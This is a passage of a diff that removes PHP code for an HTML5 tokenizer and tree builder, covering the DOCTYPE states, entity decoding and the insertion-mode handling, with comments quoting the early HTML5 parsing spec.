elseif($this->char === $this->EOF) { - $this->emitToken(array( - 'name' => null, - 'type' => self::DOCTYPE, - 'error' => true - )); - - $this->char--; - $this->state = 'data'; - - } else { - $this->token = array( - 'name' => $char, - 'type' => self::DOCTYPE, - 'error' => true - ); - - $this->state = 'doctypeName'; - } - } - - private function doctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - $this->state = 'AfterDoctypeName'; - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif(preg_match('/^[a-z]$/', $char)) { - $this->token['name'] .= strtoupper($char); - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['name'] .= $char; - } - - $this->token['error'] = ($this->token['name'] === 'HTML') - ? false - : true; - } - - private function afterDoctypeNameState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - // Stay in the DOCTYPE name state. - - } elseif($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - $this->token['error'] = true; - $this->state = 'bogusDoctype'; - } - } - - private function bogusDoctypeState() - { - /* Consume the next input character: */ - $this->char++; - $char = $this->char(); - - if($char === '>') { - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - $this->emitToken($this->token); - $this->char--; - $this->state = 'data'; - - } else { - // Stay in the bogus DOCTYPE state. - } - } - - private function entity() - { - $start = $this->char; - - // This section defines how to consume an entity. This definition is - // used when parsing entities in text and in attributes. - - // The behaviour depends on the identity of the next character (the - // one immediately after the U+0026 AMPERSAND character): - - switch($this->character($this->char + 1)) { - // U+0023 NUMBER SIGN (#) - case '#': - - // The behaviour further depends on the character after the - // U+0023 NUMBER SIGN: - switch($this->character($this->char + 1)) { - // U+0078 LATIN SMALL LETTER X - // U+0058 LATIN CAPITAL LETTER X - case 'x': - case 'X': - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 - // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER - // A, through to U+0046 LATIN CAPITAL LETTER F (in other - // words, 0-9, A-F, a-f). - $char = 1; - $char_class = '0-9A-Fa-f'; - break; - - // Anything else - default: - // Follow the steps below, but using the range of - // characters U+0030 DIGIT ZERO through to U+0039 DIGIT - // NINE (i.e. just 0-9). - $char = 0; - $char_class = '0-9'; - break; - } - - // Consume as many characters as match the range of characters - // given above. - $this->char++; - $e_name = $this->characters($char_class, $this->char + $char + 1); - $entity = $this->character($start, $this->char); - $cond = strlen($e_name) > 0; - - // The rest of the parsing happens below. - break; - - // Anything else - default: - // Consume the maximum number of characters possible, with the - // consumed characters case-sensitively matching one of the - // identifiers in the first column of the entities table. - $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); - $len = strlen($e_name); - - for($c = 1; $c <= $len; $c++) { - $id = substr($e_name, 0, $c); - $this->char++; - - if(in_array($id, $this->entities)) { - $entity = $id; - break; - } - } - - $cond = isset($entity); - // The rest of the parsing happens below. - break; - } - - if(!$cond) { - // If no match can be made, then this is a parse error. No - // characters are consumed, and nothing is returned. - $this->char = $start; - return false; - } - - // Return a character token for the character corresponding to the - // entity name (as given by the second column of the entities table). - return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); - } - - private function emitToken($token) - { - $emit = $this->tree->emitToken($token); - - if(is_int($emit)) { - $this->content_model = $emit; - - } elseif($token['type'] === self::ENDTAG) { - $this->content_model = self::PCDATA; - } - } - - private function EOF() - { - $this->state = null; - $this->tree->emitToken(array( - 'type' => self::EOF - )); - } -} - -class HTML5TreeConstructer -{ - public $stack = array(); - - private $phase; - private $mode; - private $dom; - private $foster_parent = null; - private $a_formatting = array(); - - private $head_pointer = null; - private $form_pointer = null; - - private $scoping = array('button','caption','html','marquee','object','table','td','th'); - private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); - private $special = array('address','area','base','basefont','bgsound', - 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', - 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', - 'h6','head','hr','iframe','image','img','input','isindex','li','link', - 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', - 'option','p','param','plaintext','pre','script','select','spacer','style', - 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); - - // The different phases. - const INIT_PHASE = 0; - const ROOT_PHASE = 1; - const MAIN_PHASE = 2; - const END_PHASE = 3; - - // The different insertion modes for the main phase. - const BEFOR_HEAD = 0; - const IN_HEAD = 1; - const AFTER_HEAD = 2; - const IN_BODY = 3; - const IN_TABLE = 4; - const IN_CAPTION = 5; - const IN_CGROUP = 6; - const IN_TBODY = 7; - const IN_ROW = 8; - const IN_CELL = 9; - const IN_SELECT = 10; - const AFTER_BODY = 11; - const IN_FRAME = 12; - const AFTR_FRAME = 13; - - // The different types of elements. - const SPECIAL = 0; - const SCOPING = 1; - const FORMATTING = 2; - const PHRASING = 3; - - const MARKER = 0; - - public function __construct() - { - $this->phase = self::INIT_PHASE; - $this->mode = self::BEFOR_HEAD; - $this->dom = new DOMDocument; - - $this->dom->encoding = 'UTF-8'; - $this->dom->preserveWhiteSpace = true; - $this->dom->substituteEntities = true; - $this->dom->strictErrorChecking = false; - } - - // Process tag tokens - public function emitToken($token) - { - switch($this->phase) { - case self::INIT_PHASE: return $this->initPhase($token); break; - case self::ROOT_PHASE: return $this->rootElementPhase($token); break; - case self::MAIN_PHASE: return $this->mainPhase($token); break; - case self::END_PHASE : return $this->trailingEndPhase($token); break; - } - } - - private function initPhase($token) - { - /* Initially, the tree construction stage must handle each token - emitted from the tokenisation stage as follows: */ - - /* A DOCTYPE token that is marked as being in error - A comment token - A start tag token - An end tag token - A character token that is not one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE - An end-of-file token */ - if((isset($token['error']) && $token['error']) || - $token['type'] === HTML5::COMMENT || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF || - ($token['type'] === HTML5::CHARACTR && isset($token['data']) && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { - /* This specification does not define how to handle this case. In - particular, user agents may ignore the entirety of this specification - altogether for such documents, and instead invoke special parse modes - with a greater emphasis on backwards compatibility. */ - - $this->phase = self::ROOT_PHASE; - return $this->rootElementPhase($token); - - /* A DOCTYPE token marked as being correct */ - } elseif(isset($token['error']) && !$token['error']) { - /* Append a DocumentType node to the Document node, with the name - attribute set to the name given in the DOCTYPE token (which will be - "HTML"), and the other attributes specific to DocumentType objects - set to null, empty lists, or the empty string as appropriate. */ - $doctype = new DOMDocumentType(null, null, 'HTML'); - - /* Then, switch to the root element phase of the tree construction - stage. */ - $this->phase = self::ROOT_PHASE; - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', - $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - } - } - - private function rootElementPhase($token) - { - /* After the initial phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif(($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) - { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach($token['attr'] as $attr) { - if(!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch($this->mode) { - case self::BEFOR_HEAD: return $this->beforeHead($token); break; - case self::IN_HEAD: return $this->inHead($token); break; - case self::AFTER_HEAD: return $this->afterHead($token); break; - case self::IN_BODY: return $this->inBody($token); break; - case self::IN_TABLE: return $this->inTable($token); break; - case self::IN_CAPTION: return $this->inCaption($token); break; - case self::IN_CGROUP: return $this->inColumnGroup($token); break; - case self::IN_TBODY: return $this->inTableBody($token); break; - case self::IN_ROW: return $this->inRow($token); break; - case self::IN_CELL: return $this->inCell($token); break; - case self::IN_SELECT: return $this->inSelect($token); break; - case self::AFTER_BODY: return $this->afterBody($token); break; - case self::IN_FRAME: return $this->inFrameset($token); break; - case self::AFTR_FRAME: return $this->afterFrameset($token); break; - case self::END_PHASE: return $this->trailingEndPhase($token); break; - } - } - } - - private function beforeHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', - $token['data']))) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead(array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, - array('title', 'style', 'script')))) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script'))) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta'))) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead(array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - )); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) - { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title'))) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inBody($token); - } - } - - private function inBody($token) - { - /* Handle the token as follows: */ - - switch($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - "meta", "title" */ - case 'base': case 'link': case 'meta': case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach($token['attr'] as $attr) { - if(!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'p': case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': case 'dd': case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - $stack_length = count($this->stack) - 1; - - for($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { - for($x = $stack_length; $x >= $n ; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div') { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for($n = $leng - 1; $n >= 0; $n--) { - if($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken(array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - )); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': case 'big': case 'em': case 'font': case 'i': - case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if($this->elementInScope('button')) { - $this->inBody(array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - )); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'img': case 'param': case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return $this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody(array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - )); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - )); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': case 'noembed': case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': case 'col': case 'colgroup': case 'frame': - case 'frameset': case 'head': case 'option': case 'optgroup': - case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': case 'section': case 'nav': case 'article': - case 'aside': case 'header': case 'footer': case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token); - break; - } - 